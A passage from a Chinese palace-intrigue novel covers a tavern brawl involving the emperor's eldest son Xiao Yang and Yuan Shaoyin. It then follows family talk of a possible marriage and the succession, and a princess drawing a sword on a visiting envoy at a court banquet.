酒肆门面临街,窗牖照水,端的是个南来北往都错不过的好地方。外廊不设座,有不少看起来就风尘仆仆的人或蹲或站,只打二两酒解解渴,或者讨个饼,就算一顿饭。里面则飘出更复杂的香气,缠绕着丝竹袅袅,还有女子轻吟浅唱的歌声。袁韶音轻车熟路,大摇大摆地进门,还不等里头招待,就豪气地从腰上解下一串百钱,开口就要楼上临水的雅座。
萧秧跟着她上楼,坐下来。袁韶音不歇气地报菜名,点得店家都咂舌,问他们几个人,萧秧也一个字都没往耳朵里听,只顾东张西望。楼上的陈设比楼下豪华得多,有个打扮艳丽的女子正挨着桌子卖唱,谁打赏得多一点儿,就能点曲。这会儿她正停在一桌少年人面前,咿咿呀呀地唱,那四五个人打扮得都挺富贵,一边喝酒一边跟那卖艺的女子调笑两句。
袁韶朝那桌面坐在最外侧的公子哥点了点下巴:“就是他。”
丰喜县侯宋广义的儿子,宋询。
萧秧目不转睛地盯着自己同母异父的兄长看,那一桌很快就察觉到了他的目光。有人用手肘推了推宋询,他也看过来,上上下下地打量了萧秧一番。萧秧专注的时候就会一直盯着看,搞不懂别人会把这种眼神视为挑衅。眼看着宋询眉头一皱,袁韶音赶紧伸手把他的脸掰回来,让他看着自己。
萧秧朝她眨了眨眼,只道:“走吧。”
袁韶音一愣:“啊?”
为了神不知鬼不觉地把皇长子带出宫,她可是多番踩点,小心计划,先打听到宋询常来这里和狐朋狗友吃酒,再凑到长公主在宫里和敬夫人说话……可太不容易了!这就走啦?
“我刚点了郢曲酒……”袁韶音眨眨眼,屁股生了根似的。那可不行,父母只让她喝甜醴,她太好奇名满建康的郢曲酒什么味道了,“再坐会儿嘛……要不,你去跟他说说话?认识认识?”
萧秧摇了摇头,他不喜欢跟陌生人说话。
“不是你说想看看他什么样子嘛?”
萧秧:“我看到了。”
所以可以走了。
饶是袁韶音已经习惯了他的思路跟旁人不一样,也是险些被气个仰倒。
“那不行,我花了百钱呢!”袁韶音把手一摊,“你把钱还我。”
萧秧抬起头看了她一眼:“没有百钱。”
“啊?”
萧秧就多解释了一句:“那一吊上没有百钱,九十八钱。”
袁韶音翻了个白眼:“反正我花了好多钱,你若是不陪我喝酒,就把钱赔我!”
萧秧便犹疑起来,他身上没有钱。袁韶音得意地一扬下巴:“还不出来是吧,那就乖乖陪我喝酒!”
“哟,小姑娘还喜欢喝酒啊?”有个声音突然冒出来,方才第一个注意到萧秧目光的少年人手里提着壶过来了,笑眯眯地打量袁韶音,“我陪你喝?”
袁韶音眼皮都懒得抬一下:“滚。”
另一个人也凑了上来,看起来已有二十来岁的年纪,笑嘻嘻地调侃:“好凶的美人!”
他一边说,一边用肩膀把萧秧撞开,坐在了袁韶音对面。袁韶音看着站起来的萧秧,震撼于他居然一声不吭地就让了。
“这是……”头一个来的含着笑打量了萧秧一遍,“你弟弟?”
袁韶音没好气地顶了一句:“不是!”
换成识儿跟博儿哪个不把这两人踹一边儿去?萧秧这没用的东西。
那两人便哈哈笑起来,也不知道袁韶音的态度怎么就逗得他们这么开心。宋询倒是没起身,但是好奇地探着头,瞧着这边只是笑。这两人已经在自报家门,头一个来搭话的年纪虽小些,但姓响当当,是庾家人。二十来岁那个姓赵,自称家里是执金吾卫的军侯。
他们的出身拿到市井百姓中已是了不得,但是到袁韶音面前实在好笑。袁韶音也不理睬他们,没一会儿她点的酒菜都上了,她自顾自动了筷,就跟没听见这两人在对面吹牛似的,抬头问萧秧:“你吃不吃?”
萧秧还是不太理解这到底是怎么回事,但他理明白了刚才那个逻辑:“不吃,我没钱给你。”
袁韶音:“……”
对面两个少年都哈哈大笑起来,引得那桌剩下的人也过来了。萧秧没忍住后退了一步,全身都戒备起来。他真的不喜欢这么多陌生人一下子靠近。
“没钱你出来陪姑娘吃什么酒啊!”庾家少年见他好欺负,顺手就推了他一把。袁韶音脸一拉,把筷子一放:“你干什么!”
“哎哟?还护着?”庾家少年更觉得有意思,又推了萧秧一把,见他只是躲,不还手,更起了欺负他的心,“要一个姑娘家护着你?你是不是男人?是不是?”他每说一句话,就推萧秧一把。
萧秧不答,只是非常困惑。他又不认识这个人,这个人为什么老是这样碰他?他瑟缩着往后退,就看到所有人都哈哈大笑起来,宋询也在笑。袁韶音马上站起来,拦在萧秧面前。
她的动作马上引来了更多对萧秧的嘲笑,萧秧皱着眉头看着宋询,不理解他为什么会笑得捶桌子。笑是开心,袁
韶音不在笑,那就是不开心。她为什么不开心了?萧秧再次陷入了难言的困惑当中,他以为他现在已经可以理解别人的表情了。
这一桌闹得动静太大。楼上别的客人也都探着头往这儿看。庾家少年更得了意,从手上解了宝石珠串,硬要往袁韶音手腕上套:“这么漂亮的小姑娘,和这穷鬼厮混什么,不如跟了我——哎哎哎?!”
他的尾音吞没在一声痛呼里,袁韶音一把抓住他的小指,狠狠地掰过来,一只脚踹进他的膝弯里,逼迫他扭着手半跪下来。那几个人马上就扑上来要帮,这种击打人的意图还是相当明确的,萧秧看明白了,笨拙地想保护袁韶音,结果脑袋上挨了一酒壶。那陶壶都打碎了,酒液稀里哗啦地灌了他一声。他没反应过来,只觉得眼前一片一片起了黑影,然后就是袁韶音一声怒吼:“我杀了你!”
萧秧抹了一把糊到眼睛上的酒水,发现指间有一丝被冲淡的血迹。他应该是头被打破了。袁韶音已经一把掀翻了台几,上面的酒水菜品淋了那几个少年一身。他们都纷纷惊叫着起来跑开,就庾家少年刚才让袁韶音一脚在膝弯里踹得猛了,还没跑,被袁韶音摁在了地上揍。
他护着头脸,一边哭一边威胁:“你知道我们家是谁吗?”
“谁啊?”袁韶音学着他刚才欺负萧秧的动作,说一句就打一下,“哪个庾?皇后家里那个?说呀!”
“你……你!”那少年又气又急,“我姑父是宿州的桓将军!”
“这可巧了不是!”袁韶音打得更狠,“那咱们可沾着亲了!”
桓湛的夫人确实姓庾,但袁韶音可从来没见过舅母有这么个侄子,谁知道是不是族里隔着三代亲,按辈分论出来的姑侄。这少年没想到这么漂亮一个小姑娘这么能打,听见她说沾着亲,都哭出来了:“你谁啊!”
“是你姑奶奶!”
她话音未落,已有人扑上去把她拦腰抱起来,另一个赶紧去扶庾家少年。袁韶音一个肘击就把身后的人挣开了,横腿一扫,一下子就打趴俩。但到底双拳难敌四手,两个少年一左一右地摁住了她手,她就有点儿施展不开了。
庾家少年这才敢指着她嚷嚷:“谁家的泼妇啊这是!”
萧秧伸着手去掰那个摁着袁韶音的人,结果被人一肘子就推得退出去好几步。但他还没摔到地上,就有一只手稳稳地在他背后一撑。萧秧回过头,看见一个身形高瘦的男人站在他身边,手里提着刚打的一壶酒,皱着眉头,看着正张牙舞爪的袁韶音。
“那你可听好了!”袁韶音呼呼嗬嗬地挥拳打人,“我祖父是当朝的大将军!我父亲是征西都督,我母亲家里世代武将——”
萧秧身边那个男人慢悠悠开了口:“你二叔呢?”
袁韶音“嗷”地一嗓子:“我二叔是驸马!”
然后她突然停了下来,转过头,看见提着酒的男人单手就揪住了姓赵的后领子——他刚才想上去偷袭袁韶音。瞧着他也没怎么用劲儿,就把那姓赵的甩出去好远。所有人都愣住了,唱曲儿的卖艺女早就缩着躲了起来,店家徒劳又焦虑地拍大腿。
袁韶音手脚都收回来,突然乖得像只小猫,看着这个男人,嘤嘤地叫了一声:“二叔。”
第146章
桓宜华从马车上跳下来,完全没有等一等丈夫的意思,脚步如飞地往公主府里进。已有婢女在门口等候,举着一个灯笼,引着桓宜华夫妻两个一路进了内院。
袁韶音跪在长公主屋里,噘着嘴,委屈巴巴地看了一眼二叔。明绰正给萧秧处理头上的伤,看她一眼,只觉得好笑:“韶音快起来吧。”
袁綦面无表情地在旁边说:“跪着。”
袁韶音刚有一个想起来的动作,马上又跪好了。
萧秧“嘶”了一声,明绰捧着他的脸,把头发拨开了看他的伤,嘴里也是忍不住“哎哟”,还没说什么,桓宜华已经冲进来了。
袁韶音叫了一声“娘”,但是换来的是桓宜华的怒吼:“你要翻天啊!”
明绰赶紧放下了手里的巾子去拦:“好了好了……姐姐别骂她了,孩子都跪半天了。”
桓宜华气得头上的步摇晃个不停:“让她跪到天亮!”
袁韶音嘴一撇,又哭了。袁煦跟着从外面进来,她转过头就喊:“父亲……”
袁煦一眼看见她手腕上青了一块,指关节也红肿着,本来也是皱着眉头想骂的,先开始心疼,当着长公主的面,也不知道是该教训还是该看看她的伤,结果别别扭扭地拧过脸,先从牙缝里挤出来了一句问弟弟的话:“谁动的手。”
袁綦的声音也很轻:“收拾过了。”
他还能让亲侄女吃亏不成。就是那堆小子里面有个姓宋的,袁綦看见皇长子在,就把他轻轻放过了。
那就行,袁煦放心了,这才跟着骂了女儿一句:“你要翻天啊!”
袁韶音被骂得肩膀一抖,看来看去就长公主不骂她,张嘴就喊:“婶娘……”
明绰让她喊得心都软了,上前一步把她搂到怀里。桓宜华还想来拧她,袁韶音马上往明绰怀里钻。桓宜华急道:“你害得皇长子殿下受了伤,等宫里知道了……”
“哎呀,知道不了!”明绰护着袁韶音,把阴青蘅叫过来,“派个人进宫,跟敬
夫人说一声,说皇长子出宫来看大燕使臣入京,在我这儿呢,让她别急。”
阴青蘅应了一声就下去了。
桓宜华松了一口气,又去看萧秧:“殿下没事儿吧……?”
萧秧跟明绰很熟悉,姑母碰他可以,桓夫人他只是认识,谈不上很熟悉,所以他避了一下,也没回答。桓宜华一下子有些尴尬,但是明绰已经察觉到了,这屋里人太多了,萧秧不自在。
明绰便朝袁綦使了个眼色,袁綦会意,跟兄长两人先走了出去。明绰又看看怀里的侄女,夸张又刻意地喊了一句:“哎呀!韶音怎么也受伤了呀!”
桓宜华果然马上探头过来,绷着脸把女儿的袖子撸了上去,看见她手腕上清清楚楚的青紫指印,一看就是被人用力摁出来的,又气又心疼,拽着女儿坐下来,虽然还是板着脸,但是手上已经开始揉,好给她化瘀。
明绰忍着笑,招了招手,让一个婢女过来,轻声细语地问了萧秧,让她带着去客房里安寝好不好。萧秧也没有抗拒,点了点头,边走还边回头看了袁韶音一眼。明绰便亲昵地摸了摸他的脸,让他们离开了。等她再转回身,便听见桓宜华在问女儿:“你做什么把皇长子拐出宫?”
“他自己想看丰喜县侯的儿子……”袁韶音小小声给自己申辩,“我就是想帮帮他。”
桓宜华就没说什么了,把她的手翻过来,在灯下看她跟人打架打破的皮:“这点花拳绣腿也去跟人动手。”
袁韶音不说话,这可是父亲教的,她觉得自己挺厉害的,今天要不是人多,她都收拾了!
明绰看她的神色就知道她在想什么,只觉得好笑,也坐到她们母女身边,突然问了袁韶音一句:“婶娘问你,你是不是喜欢秧儿?”
桓宜华震惊地别过头:“长公主!”
明绰摁住她让她先别说话。敬漪澜今天叫她入宫说的就是这事儿,萧秧今年十五了,袁韶音都十七了,瞧着这两孩子玩得也太好了。知子莫若母,敬漪澜看得出来,萧秧是很喜欢韶音的,她总要问问袁家有没有这个意思。
但明绰想着,问袁家,还不如问问韶音自己。
袁韶音嘴巴张大了,一下子蹦了起来:“啊?”
“这也没别人,”明绰拉住她的手,“你说实话就行了。你要是没那意思,婶娘去跟敬夫人说。”
桓宜华一把拉住她的袖子,这什么意思?
“敬夫人说什么了?”
“她就说看秧儿喜欢韶音嘛……”
袁韶音更吃惊了:“他喜欢我?”
桓宜华摁住女儿,先面对着明绰:“等等等会儿……敬夫人到底是什么意思?”
什么叫做皇长子喜欢?桓宜华心里一下子就揪起来了,皇家的亲事,那可是不能拒绝的。
萧秧这孩子说到底还是有点不正常,桓宜华心里别扭。对他好点儿可以,把女儿给他可就是另一回事儿了。袁韶音是她第一个孩子,是她唯一的女儿,还不是就是她心疼得跟眼珠子似的,这才十七岁了还没许人家吗?
她确认了一遍:“敬夫人这是……替皇长子提亲吗?”
袁韶音一嗓子叫起来:“提亲?!”
明绰让她喊得吓一跳,一时顾不得回答桓宜华,只问:“韶音不愿意啊?”
“婶娘!是你让我对他好一点儿的……”袁韶音急得站了起来,“我对他好点儿,他就要娶我啊?这不恩将仇报吗!”
明绰这才赶紧替敬漪澜澄清:“没有非要提亲,敬夫人就是问问韶音的心意。韶音要是不愿意啊,那她就得教教秧儿避嫌。孩子们都大了,别老这么在一块儿的……”
桓宜华还要说话,但是明绰突然轻轻地摁住了她的手,让她先别说。袁韶音一听到以后不跟萧秧在一块儿了,神色便有些古怪起来,沉默着,也不说话。明绰跟桓宜华对视了一眼,小声地唤他:“韶音?”
“我不喜欢他!”袁韶音着急澄清什么似的,“他还没我高呢!”
明绰忍着笑,只道:“你比他大两岁呢,说不定他两年以后就比你高了。”
袁韶音还是不太高兴的样子,又道:“他笨得很,人话都听不明白。”
什么都不懂,都要她护着。今天那人推他的时候,她都要气死了。萧秧一点儿也不知道维护自己,后来打起来了倒是扑上来帮了——谁要他帮似的!还不是弄破了头,害得她被父母教训。
可是她就是见不得别人欺负萧秧。
明绰看了看她的神情,也没继续追问这事儿,就说夜深了,也让人来把韶音带下去休息。
袁韶音跟着公主府的下人走了两步,都到门口了,突然又把头伸回来:“他真的喜欢我?”
她怎么没看出来!
明绰朝她眨眨眼:“我不知道,问你自己啊。”
袁韶音就皱着眉,嘀嘀咕咕着走了。她的身影一消失,桓宜华就马上伸出手摆了摆,一脸不容商量的表情:“我女儿绝不嫁进宫里,你跟承华宫那位去说,承蒙她看得上,我们高攀不起!”
她明显是恼了,都变成“承华宫那位”了。
“也不是就已经到那一步了。”明绰宽慰了她一句,“两个孩子还小,谁知道呢?咱们也别管那么多,再由着他们两年……”
桓宜华都跟她急了:“这种事怎么能由着他们呢!”
“那你当年不也是由着自己吗?”
“我……”桓宜华张口结舌,顿了顿才捋清楚自己要说的道理,“伯彦当年就是个……”她也不好意思拿太难听的话说自己的夫君,做了个手势,明绰点了点头,表示都明白,于是桓宜华继续往下说,“但那位可是皇长子啊!”
萧秧现在长大了,居然没那么不正常了。陛下有了小儿子,也没见得多偏心,倒是亲口说过几次秧儿聪明。以前都说他是不可能继承大统的,但是谁能真知道陛下心里是怎么想的?
袁家的女儿要是嫁了皇长子,那就是站队。卷入立储之争,是生死未卜的事情,桓宜华不愿意女儿蹚这趟浑水。可是萧秧若真是不打算争,那过几年及了冠,就要外放封地了,岂不是要桓宜华这辈子都见不到女儿?
“绝对不行!”桓宜华没得商量,“想都别想!”
明绰并不深劝,只道:“那你也别太拘着韶音。她这个年纪,你越叫她往东,她越要往西。你若是不许她再去见秧儿,她还不知道能做出什么事儿来。”
她这个话有道理,桓宜华听进去了,一时又发愁,撑着头想了会儿,看了看明绰,又道:“敬夫人这个念头可千万要瞒住,若是让皇后知道,连着你也得……”
她话没说完,明绰就冷笑了一声,意思是她也没那么在乎皇后想什么。
当时她怕谢星娥死在产床上,那份愧疚和无措都是真的。可是谢星娥活得好好的,她的儿子也活得好好的,她却还得寸进尺,拿这份愧疚之情来拿捏姐姐,明绰就不愿意了。
这份愧疚被越抻越薄,像是拉得过满的一根弓弦,很快就难以避免地彻底崩断了。
就是那一天,谢星娥再一次提醒了她,她和萧盈有太多的见不得光了。她也想躲在含清宫里,靠着一捧灰烬的余温取暖,干干净净的,有一天能全身而退。
但是谢星娥把她逼出了含清宫。
明绰已经表达过很多次,她不想干涉立储,她甚至没有那么强烈的意愿在建康夺权,她只是想争得一点点自己做主的自由……可是没有人信她,她必须选择一个立场。
好,那就与大将军结盟吧。可是谁说非得扶立萧稷了?谢星娥不这样逼她,她反而有可能看在母后出身谢氏的情面上选择她的儿子。可是现在,她们之间最后一丝姐妹之情也已经随着那根弦的崩断被抽得灰飞烟灭了。
韶音喜欢,袁家就会站在皇长子身后,她也会。
不过桓宜华担心什么,她也知道,这话就不好说出来。明绰正沉默着,袁綦又到了房外,轻轻敲了敲,推门走了进来。
“阿嫂,”他先跟桓宜华说话,“阿兄在等,问还回不回去了。”
“他想回就先回去吧,我今晚就
留在明绰这里了。”
袁綦毫不意外这个答案,看桓宜华过来的这个时辰就知道她今晚肯定不会走了。他与明绰的婚事倒是成全了桓宜华,她这两年都快把公主府当另一个家了。
桓宜华看了他一眼,想到了什么,忙道:“哦,我是说,不折腾韶音了,我去陪她一晚,你们……”
“阿嫂想留便留。”袁綦打断她,微微垂了眼,从袖中取出了一个小玉瓶,送到明绰手边,也不称呼她,只道,“新的安神丸,睡前吃一粒,看有没有用,别忘了。”
明绰抬头看了他一眼,轻声道:“多谢你。”
袁綦点点头,再不打扰她们俩说话,转身出去了。桓宜华看着他的背影,再看看明绰,眼神十分复杂。
“你们还是分房?”
明绰也没什么好瞒她的,捡起那玉瓶看了一眼,自嘲地笑了一声:“他有情有义,放不下恕颐,我能说什么?”
桓宜华便皱起眉头看着她。
从廷尉放回来那天起,二郎就像变了个人。楚恕颐的死沉甸甸地压在他的良心上,那段日子,袁綦不吃,不喝,整日地坐在楚恕颐房中。刘夫人看不下去,给他送去吃食,他就坐在楚恕颐那天坐的地方,回头看着母亲,安静地说:“我怎么还敢喝母亲送来的汤?”
刘夫人吓得掉了手里的碗,从那以后,她再也不敢看儿子的眼睛了。短短一个月,袁綦就瘦得脱了形。圣旨下来的那天,袁增把他绑上了马车,他都没什么力气反抗。
跟明绰成婚以后,他在同一个院子里,但住的始终是客房,就和在袁府的时候差不多。他说过,虽然圣命难违,他也不愿意辜负发妻。明绰知道这是一个借口,但又在某些程度上是他的真心话。
他的恨说不出来,不能怪父亲,也不能怪陛下,甚至不能怪长公主。他们每一个人,都是压在他身上的一座山。而他唯一的、微弱的抵抗,不过是在明绰面前一遍遍提起楚氏。
后来听说了乌兰晔晚上不敢睡觉,明绰自己就再也睡不好觉了。长公主夜夜惊悸,全府上下都不得安宁。有一天明绰又梦见晔儿满身是血地倒在段知妘脚下,惊醒时便看到了袁綦在床边守着她。那一瞬间,她好像突然又回到了几年前,在南阳,袁綦守在她帐外。于是她起了身,主动抱住了他,袁綦挣了几次,明绰都没有松手。他们一句话也没有,然后袁綦突然非常用力地把她摁到了床上。
那天晚上他没有走,只是第二天明绰再醒的时候,他已经不见了踪影。
之后就总是这样。袁綦偶尔晚上会过来,要么是明绰去找他。他们永远都是无声而激烈的,明绰感觉得到他汹涌的欲望,有的时候太粗暴了,即使她喊疼也不会停。等到天一亮,他就会走。好像只有在最深的黑夜里,他才允许自己恨,而天光下的妻子他已经无法面对。
明绰知道这是袁綦有意而为之的惩罚。好像他亲眼看到了在含清宫里她请求赐婚时的每一次谈判,和她的每一分算计。他也明白她是如何借着萧盈的愤怒一笔一笔写下的旨意,夺走了他全部的军衔,荣誉,和他所看重的一切。
即便是在两年之后,有了大将军支持的长公主权势日隆,袁綦却依然是个无关紧要的闲人,除了身为东乡公主的丈夫,他没有任何别的身份。
这就是她对袁增的回应。她在建康一日,就和袁家荣辱与共一日。但到了她要回洛阳的那一天,这个丈夫不能成为任何人阻拦她的理由。
萧盈一开始怎么也不肯答应,可是拗不过她,他的愤怒无处可去,最后一辆马车,将袁綦送入公主府。
那是怎样的折辱啊,把曾经意气风发的少将军,变成了在公主府的后院里腐烂的青苔。
袁綦称得上是个体贴的夫君,有关长公主的事,哪怕是最小的,他也会操心。她睡不好,就到处替她问药,她听说城中郢曲酒出名,他就去给她打。但明绰感觉不到这是丈夫对妻子的关心,更像是一个臣子对君主的侍奉。可能袁綦心里就是这么想的,这不是婚姻,而是他为了他的父兄,为了袁家,把自己放到了权力的祭坛上,任皇权碾碎他的脊梁。
桓宜华并不知道那些暗夜里无声的恨意,只知道他们一直都是分房的。但前阵子,明绰又暗中叫过大夫来看,因为她月事迟了。虽然后来是虚惊一场,但桓宜华好歹知道了,虽然明绰嘴上这么说,他们俩也不是完全分房的。袁綦也不是真的放不下楚恕颐——至少不是感情上。
桓宜华只是叹气:“要是上次真怀上了就好了。”
明绰连连摆手:“你盼我点儿好!”
“这怎么不是盼你好?”桓宜华拍她膝盖,“你有个孩子该多好,又不是怀不上了……”
“我有孩子。”明绰突然打断了她。
桓宜华意识到了什么,忙跟她道歉:“明绰,我不是那个意思……”
明绰没跟她生气,只是笑了笑。
“好了,早些休息吧。”明绰重新又把那个玉瓶拿起来,从里面倒出一颗黑黢黢的药丸,看也没看就送进口中,直接吞了下去。
今晚她要好好睡足,明日,她还要去见见那位洛阳来使呢。
第147章
袁綦新求来的安神丸效果不错,明绰安然地睡了一晚,直到被院子里的动静吵醒。
动静太大,依稀又是桓宜华的声音。明绰匆忙披上衣服,走出卧房才知道怎么回事儿。原来是婢女早上进内院来伺候,看见皇长子跟袁大小姐靠在树下睡着了,还头挨着头手拉着手的。婢女想把人叫醒,引来了桓宜华,于是袁韶音又挨骂了。
桓宜华也不耽搁,立马拉着女儿回家,都没来跟长公主说一声。明绰看萧秧茫然地站在原地,招了招手,让他进屋来。阴青蘅领着婢女们进去伺候她洗漱,明绰绞了巾子洗了脸,便从镜中看定了萧秧。
“怎么回事儿?”明绰问他,“你欺负韶音了?”
萧秧没回答,定定地看着姑母。明绰想起来,他对这种词儿背后的真实意义,总是比别人反应慢一点,便换了个问法:“昨晚上怎么不在屋里睡觉?”
这个问题好回答,萧秧道:“看星星。”
“拉着韶音一起看的?”
“她来找的我。”
“她找你做什么?”
“问我是不是想娶她。”
明绰正端茶漱口,蓦地呛了一口,咳得惊天动地。旁边的婢女们全都抿着嘴使劲憋笑,萧秧抬起头,不明白她们在笑什么。明绰赶紧把茶杯放下,挥了挥手让她们都下去,等身边没人了才转过来,很严肃地看着萧秧:“你怎么说的?”
萧秧好一会儿都没说话,想了一会儿,问了明绰一个问题:“父皇会送我去封地吗?”
明绰愣了一下,一时竟不知道怎么回答这个问题。
大雍实行分封而有国之制,皇子们大概在七八岁左右封王,若是母族强势,封得更早。成年后择贤立嗣,余者就藩,为大雍镇守四方。但萧秧情况特殊,陛下显然是没有考虑过立他,所以一直没有封王。
但今年谢聿上书,要给两岁的萧稷封王,萧盈竟然提了一句,长幼有序,皇长子还没封王,轮不到萧稷。就是他这个话,太引人琢磨了。看起来没有什么别的意思,陛下就是拿礼法搪塞中书令。因为他说完以后,也没有马上下旨封皇长子。可实际上满朝文武没有不多想的——不然桓宜华怎么这么紧张呢。
“当年宛南王、燕康王、长沙王接连叛乱,早就有人议过了,说诸王不必走得太远,拱卫京畿即可。”明绰安慰他,“你放心,就是封,陛下也不会把你封太远的。”
萧秧只道:“再近,也是无诏不得入京。”
明绰想了想,又道:“当年孝文皇帝的胞弟不也是在建康养了一辈子么?此事早有先例,也不是没有办法。只看你是不是不想走。”
萧秧便明确地对姑母说:“我不想走。”
明绰笑起来:“为了韶音?”
萧秧摇了摇头:“为了母亲。”然后他想了想,又补上一句,“也为了韶音。”
“为了你母亲?”
“嗯。”萧秧轻声解释,“若是离京就藩,母亲就再也不可能见到宋家兄长了。”
明绰很低地“啊”了一声,一下子什么都明白了。虽然敬漪澜本来也没有机会见宋询,但是只要都在建康,她总有个念想。也许宋询有出息呢?说不定他能入朝为官,进宫面圣——不过宋询今年都二十一了,就明绰打听来的消息,他斗鸡走狗,沉湎声色,不学无术,不像能有什么出息的样子。
所以敬漪澜所有的指望都放在了萧秧身上。她不觉得儿子以后能做皇帝,也不希望儿子封王,恨不得陛下和满朝文武都忘了这事儿,等秧儿到了岁数,出宫建府,她就有再见长子的那天。
听说陛下有意给皇长子封王的时候,敬漪澜偷偷地哭了一场,没有告诉明绰,但是没有瞒得过萧秧。
明绰一想就知道她为什么不说。说了,便是要求长公主站到皇长子这边,要求她和皇后决裂,和谢氏决裂——即使明绰和皇后之间
的感情已经没有了,毕竟这些年里,无论是迁出公主府,还是下嫁袁綦,明绰表面上都还是妥协了。她始终没有与谢氏公然为敌。
敬漪澜视明绰为至交,她为人处事,断不会对朋友提出这样的要求。
明绰轻轻叹了口气,疼惜地摸了摸萧秧的脸:“所以你拜托韶音带你出来看看宋询?”
萧秧沉默了片刻,又道:“她昨晚答应我,会想办法把宋询带进宫给母亲看看。”
明绰:“……”
这世上还有袁韶音不敢做的事儿吗?
“你别信她,她没那本事。”明绰毫不犹豫地拆侄女的台,“你和母亲不想离京,姑母自会替你们筹谋。”
萧秧点了点头,明绰见他这样乖巧,心里便是说不出的酸涩复杂,她不想难过,便有意又问了一句轻松的:“所以你到底怎么回答韶音的?想娶她吗?”
萧秧老老实实地回答:“她不让我想。”
袁韶音问了那个话,他还没说话呢,袁韶音又让他“想都别想”。
明绰想象到了韶音蛮横的声音,没忍住笑了出来:“她不让你想,你就不想了吗?”
“我想。”萧秧承认了,马上又道,“但母亲说,我一个人想没用,得问韶音的心意。”
看这样子,袁韶音是不愿意,所以萧秧也有点难过。
明绰只好忍着笑,什么都不说。两个孩子都算她的侄儿,一样的亲疏,总不能光站在秧儿这边。反正袁韶音那点儿心思也很明白,她瞧着这两个孩子这么着挺有意思。
明绰只当做不知道,突然问了萧秧另外一个问题:“那你想做太子吗?”
萧秧这回答得干脆利落:“不想。”
明绰微微挑眉:“为什么?”
萧秧没回答,就只是摇了摇头。
其实他很小就知道他为什么不会被立为太子了,大概就是皇次子夭折了以后吧。那时他已经会说话了,只是几乎不会回应父皇,但父皇还是把他带在身边了一段时间。萧秧现在回想,意识到父皇是想培养他为君。可没多久之后,父皇就不得不放弃了。那天父皇皱着眉头看了他很久,最后苦笑着,摸了摸他的头。
“罢了,”他记得父皇当时说,“还是朕的秧儿有福气。”
阴青蘅重新走进来,轻声地催促了一遍:“长公主,今日太极殿还有宴呢。”
明绰点了点头,示意阴青蘅给她梳妆,一边不由分说地拍了拍萧秧的手:“你今日跟我一起去。”
萧秧似是没有意识到姑母这句话背后的意思,仍是乖巧地点了点头,坐到一边儿去等着姑母梳妆了。
从前大燕来使不会设国宴招待。这是个好的信号,明绰听朝中在议论,陛下似是有重新往洛阳派驻使臣的意思。
洛阳有大雍的使驿,但宣平门之变后,两朝一度交恶,萧盈第一时间召回了使臣,自此就再也没有重新派过人了。
若能重新往洛阳派驻使臣,两朝恢复从前的邦交,对明绰来说自然也是好事。想来洛阳使臣过来也是谈这事儿的,只是明绰不知道这次来的人是谁,文牒上应该是写了,但含清宫没有特意提及。
但走进太极殿的那一刹那,明绰就认出了他。
冯濂之侧着身,微微低头以示恭敬,正和萧盈说话。两人中间还有一个空的席位,就排在陛下身侧略下一点的位置,显然是留给长公主的。桓廊和袁增坐在另一侧,是大雍这边的群臣之首。鸿胪寺两位重臣和冯濂之坐在一起,使团队伍里也有乌兰人,鸿胪寺中派了翻译,陪坐在下首。其余便是各部重臣,依次排座。
内侍一报“东乡公主到”,殿上的说话声便微微一滞。所有人都抬头,一见长公主手里还牵着皇长子,神色便各有各的精彩。谢聿直接变了脸,桓廊表现出了一刹那的无措,下意识去看袁增。袁增是最冷静的,几乎没有任何情绪,好像是在他意料之中。
但是明绰没有心思去看这些人的表情,她紧紧盯着冯濂之的脸,手里无意识地攥紧,握得萧秧都转头看了她一眼,连他都感觉到了姑母的情绪不对。
冯濂之也见老了,鬓上有了星星点点的灰发。他虽然对萧盈低着头,但身板挺直,不卑不亢,半点儿也看不出来曾经是个只能睡在羊圈的奴隶。他也看着明绰,似是没想到会在太极殿见到她,但这惊诧转瞬即逝,冯濂之垂下眼睛,起身小步趋行至明绰面前,朝她行了个大礼,跪到了地上:“臣,见过皇后。”
明绰退了一步,什么都没说,还是冷冷地看着他。
萧盈察觉到了什么,微笑着打了个圆场:“看来贵使与东乡是旧识?”
冯濂之还是跪在地上,转过头回答萧盈:“是,臣有今日,皆拜萧皇后所赐。”
明绰忍不住冷笑:“我有今日,也皆拜冯大人所赐!”
话一出口,所有的恨意便再也压抑不住。明绰一再提醒自己,这里是太极殿,可是冯濂之就在眼前,她便又看见了那一日的长安,看见他站在人群中,听见晔儿求他一起走的声音——再往前一点儿,就是段知妘的陷阱,冯濂之当时拜别她的时候,心里又在想什么?
他哪怕有片刻的犹疑,考虑过她,考虑过晔儿吗?
“铮”的一声,明绰突然回身,从太极殿门口的执金吾卫腰间抽出了长剑,直指冯濂之的胸口。只听得殿内异口同声的惊呼,所有人都站了起来,萧盈也提高了声音:“东乡!”
但冯濂之并没有意外的神情,剑尖上移,他被迫抬起了头,可他看着明绰,反而笑了一声,似是如释重负。
“晔儿知道了吗?”明绰不听旁人都在说什么,只问冯濂之。
“他不知道。”冯濂之的声音很轻,“臣来向皇后请罪。”
“请罪?”明绰忍不住笑出了声音。
“臣此生活着,只为报两个人的恩情。”冯濂之继续往下说,剑尖抵在他的喉咙,说话间已刺破了肌肤,但他浑然不觉,“温大人的恩,臣报完了。还剩下皇后……”
“报恩?”明绰咬牙切齿,剑尖又往前送了一点,“你就是这么报我的恩?!”
冯濂之喉间血流不止,额上也见了汗。可他还是没有躲,只有轻轻一叹。
他知道,乙满死后,方千绪已经屡次对他起了杀心,都是看在乌兰晔的份上,没有找到合适的机会下手。
乌兰晔始终不知道当年的真相,他这些年如履薄冰,一直生活在恐惧中,对冯濂之的信任与依赖就更显得重要。方千绪总会想起当年萧皇后抱着孩子嘱托他的样子,她说做皇帝是孤家寡人,她不愿意儿子一生都活在猜忌中。
他的刀已经伸了出来,又总是犹犹豫豫,不肯落下。
这次派他出使,就是方千绪的意思。走之前,方千绪最后跟他喝了一次酒,对他说,冯公若还在意陛下,就不要再回来了。
他是自尽也好,留给大雍处置也好,方千绪都有应对的手段,会成全冯濂之在乌兰晔心中的体面。
但他若敢回到洛阳,等着他的就不只是一死了。
方千绪点了个使团随他前往大雍,名义上是要请大雍皇帝允准,从此派驻建康,以便两国邦交。实际上他们还有一个任务,就是保证冯濂之不会活着回去。
冯濂之心里有数。其实他并没有反抗的意愿,温峻的仇已报,他早就没有了继续活下去的必要。本想着跟大雍皇帝把事情议完,就自己去公主府领死,没想到此刻就已经见到了旧主。
冯濂之深吸了一口气,露出了一个笑容,心道,也好。
“臣,无话可说,”他看着明绰,“唯有一命相抵。”
